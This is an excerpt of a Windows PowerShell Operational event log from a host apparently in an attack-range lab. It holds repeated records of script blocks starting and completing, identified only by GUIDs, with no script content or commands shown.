SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049487
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049486
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049485
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049484
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049468
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049467
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049462
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049461
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
